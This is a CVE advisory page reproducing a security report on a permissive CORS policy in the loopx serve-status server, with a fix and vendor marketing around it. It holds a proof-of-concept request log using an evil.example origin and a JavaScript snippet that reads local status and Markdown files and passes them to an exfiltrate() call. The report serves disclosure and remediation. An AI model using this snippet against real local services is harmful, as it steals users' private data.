CVE-2026-108372

CVE-2026-108372 is a high-severity security vulnerability in loopx (pip), affecting versions >= 0.0.1, < 0.4.5. It is fixed in 0.4.5.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

LoopX serve-status permissive CORS policy exposes control-plane state and private Markdown files

loopx serve-status sends Access-Control-Allow-Origin: * on every response,
including its unauthenticated GET routes. Because the endpoint is unauthenticated and
bound to a fixed, well-known loopback port, any website the operator visits can read
LoopX control-plane state and the contents of Markdown files inside every registered goal
repo
, using a plain fetch() with no user interaction.

The write endpoints are not affected, they are correctly Origin-checked. This report is
strictly about the read paths.

Location

loopx/status_server.py:136-146, StatusRequestHandler._send_json():

def _send_json(self, payload: dict[str, Any], *, status: int = 200) -> None:
    ...
    self.send_header("Access-Control-Allow-Origin", "*")   # <-- line 142

_send_json is the single response path for all routes, so the wildcard is applied to
/status.json, /review-material, /healthz, / and the dry-run POSTs alike.
do_OPTIONS (:148-153) repeats it.

Confirmed present at main HEAD (b0c8e315, blob c9e53d1a) at the time of writing.

What is NOT affected (I checked, so you don't have to)

I tried to refute this before reporting. These controls all hold:

  • Writes are properly defended. With --enable-reward-write-api and
    --enable-control-plane-write-api both on, POST /reward/append and
    POST /control-plane/configure-goal/apply return 403 "only accepts loopback browser
    origins"
    for a foreign Origin. is_loopback_origin() does its job. There is no
    cross-origin write, and DNS rebinding does not defeat it either (the rebound page still
    carries its own non-loopback origin).
  • No path traversal. ../../../../etc/hostname → 400; an absolute .md outside the
    goal roots → 400 ("outside the goal repo/state/runtime roots"). path_is_under() is
    correct.
  • Extension allowlist holds. secrets.env inside the repo → 400. Only .md/.markdown
    can be read.
  • Dry-run does not write. configure_goal_with_global_sync(execute=False) returns
    before any write; I observed written=false.

So the exposure is confined to: status JSON + Markdown under registered goal roots. That is
still private material, but it is not arbitrary file read and it is not remote code
execution.

Proof of concept

Run against an unmodified clone at HEAD, default flags (no write APIs enabled):

GET /healthz                 Origin: https://evil.example  -> 200  ACAO: '*'
GET /                        Origin: https://evil.example  -> 200  ACAO: '*'
GET /status.json             Origin: https://evil.example  -> 200  ACAO: '*'
GET /review-material?goal_id=victim-goal&path=internal-design-notes.md
                             Origin: https://evil.example  -> 200  ACAO: '*'
   content: "# Internal notes\n\nPROD_DB_HOST=db.internal.corp\nCONFIDENTIAL: ..."

The file content came back verbatim to a foreign origin. Matched controls from the same
harness, with both write flags enabled (i.e. the configuration most favourable to the
current design):

POST /reward/append                        Origin: https://evil.example -> 403 (origin check)
POST /control-plane/configure-goal/apply   Origin: https://evil.example -> 403 (origin check)
GET  /review-material  ../../../../etc/hostname                        -> 400 (traversal blocked)
GET  /review-material  <abs path outside roots>.md                     -> 400 (root check)
GET  /review-material  secrets.env                                     -> 400 (extension check)
GET  /status.json                          Origin: https://evil.example -> 200 ACAO '*'  <-- still readable

I am happy to send the exact harness script if it is useful; it is ~120 lines of stdlib
Python and touches no file in the repo.

Scope of review

Reviewed 26/52 identified entrypoints across 758 files (360,618 LOC) of the loopx package
and dashboard; tools: semgrep 1.172.0, trufflehog 3.96.0, osv-scanner 2.4.0, plus a manual
dataflow pass. Skipped: tests/, regression/, examples/, docs/, and the benchmark
adapters under loopx/benchmark_adapters/. Coverage confidence: partial.

Other things I looked at and did not find a problem with, in case it saves you time:
self-update (curl | bash is over HTTPS to a hardcoded raw.githubusercontent.com URL; the
LOOPX_ARCHIVE_URL override requires environment control, i.e. privileges the attacker
would have to already have); project/slash-command skill installation (strict id regex plus
_assert_project_boundary() containment); the shell=True worker tick (the value is a
user-configured shell command by design, and demo_supervisor.build_visible_worker_turn_command
passes the objective through shlex.quote); outbound SSRF surfaces (content_ops/surface.py
blocks private/loopback/link-local ranges and refuses redirects). No pickle, yaml.load,
eval, or os.system anywhere in the package.

3 dependency advisories exist in dev/docs tooling only (pymdown-extensions, idna,
postcss); none are reachable from the runtime package, which declares no dependencies, so
I have not opened a bump PR.

Detected by

Aeon, an automated security review. Findings are
reproduced at HEAD and manually verified before reporting. Reported privately via GitHub PVR
because that is the intake channel your SECURITY.md designates.

Impact

While loopx serve-status is running, a page on any origin can run:

// no interaction, no preflight, no credentials needed
const s = await (await fetch('http://127.0.0.1:8766/status.json')).json();
for (const g of s.goals ?? []) {
  const m = await (await fetch(
    `http://127.0.0.1:8766/review-material?goal_id=${g.id}&path=design-notes.md`
  )).json();
  exfiltrate(m.content);
}

and read back:

  • GET /status.json, the whole status projection: goal ids, run history, and local
    absolute paths (registry, runtime_root). With --global-registry this covers
    every project registered on the machine, not just one.
  • GET /review-material?goal_id=…&path=…, the content of any .md/.markdown
    file under a goal's repo root, state dir, or runtime dir. In practice that is the
    operator's private design notes, handoff docs, and evidence write-ups.
  • GET /, endpoint discovery, including which write APIs are enabled.
  • POST /control-plane/configure-goal/dry-run, this route has no Origin check at
    all
    , and do_OPTIONS returns Access-Control-Allow-Headers: Content-Type, so a
    cross-origin JSON POST passes preflight. The response leaks the before/after
    control-plane configuration for a goal. (It does not write, I verified written=false.)

docs/public-private-boundary.md classifies "local absolute paths", "task ids", "raw logs
and metrics" and "active goal state that reveals current user context" as material that
must stay private. All of it is currently readable by any origin.

Two things make this more than theoretical:

  1. Fixed default ports. 8765 (project) and 8766 (global) are hardcoded defaults, so
    an attacker page can simply try both, no discovery step needed.
  2. It is documented as a persistent service. docs/guides/getting-started.md documents
    loopx serve-status, and scripts/macos-dashboard-launchagent.sh installs a LaunchAgent
    that keeps serve-status --global-registry --port 8766 running after every login. For
    anyone following that guide, this is an always-on, machine-wide read surface.

I have graded this High on the basis of zero-interaction exfiltration of private local
material from a persistent service. It is read-only and scope-limited, so if you read the
exposure as lower I would not argue the point, you know your users' setups better than I do.

Affected versions

loopx (>= 0.0.1, < 0.4.5)

Security releases

loopx → 0.4.5 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

You already have the right predicate in this file, is_loopback_origin(). The minimal fix
is to stop emitting the wildcard and instead echo the request origin only when it passes
that check:

def _send_json(self, payload: dict[str, Any], *, status: int = 200) -> None:
    body = json.dumps(payload, ensure_ascii=False, indent=2).encode("utf-8")
    self.send_response(status)
    self.send_header("Content-Type", "application/json; charset=utf-8")
    self.send_header("Content-Length", str(len(body)))
    self.send_header("Cache-Control", "no-store")
    origin = self.headers.get("Origin")
    if origin and is_loopback_origin(origin):
        self.send_header("Access-Control-Allow-Origin", origin)
        self.send_header("Vary", "Origin")
    # no Origin header (curl, the CLI, a same-origin fetch) -> send no ACAO at all
    self.end_headers()
    self.wfile.write(body)

and the same in do_OPTIONS. This keeps the dashboard working, it is served from
http://127.0.0.1:5174 and fetches 127.0.0.1:8765/8766, which is cross-origin between two
loopback ports, which I assume is exactly why the wildcard was added, while denying every
non-loopback origin.

Two optional hardening steps, if you want them:

  • Apply the existing is_loopback_origin() check to POST /control-plane/configure-goal/dry-run
    and POST /reward/dry-run too, so the config projection is not readable cross-origin.
  • Add a Host header check (reject a Host that is not loopback) to close DNS rebinding
    against clients that do not send Origin.

Frequently Asked Questions

  1. What is CVE-2026-108372? CVE-2026-108372 is a high-severity security vulnerability in loopx (pip), affecting versions >= 0.0.1, < 0.4.5. It is fixed in 0.4.5.
  2. Which versions of loopx are affected by CVE-2026-108372? loopx (pip) versions >= 0.0.1, < 0.4.5 is affected.
  3. Is there a fix for CVE-2026-108372? Yes. CVE-2026-108372 is fixed in 0.4.5. Upgrade to this version or later.
  4. Is CVE-2026-108372 exploitable, and should I be worried? Whether CVE-2026-108372 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-108372 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-108372? Upgrade loopx to 0.4.5 or later.

Stop the waste.
Protect your environment with Kodem.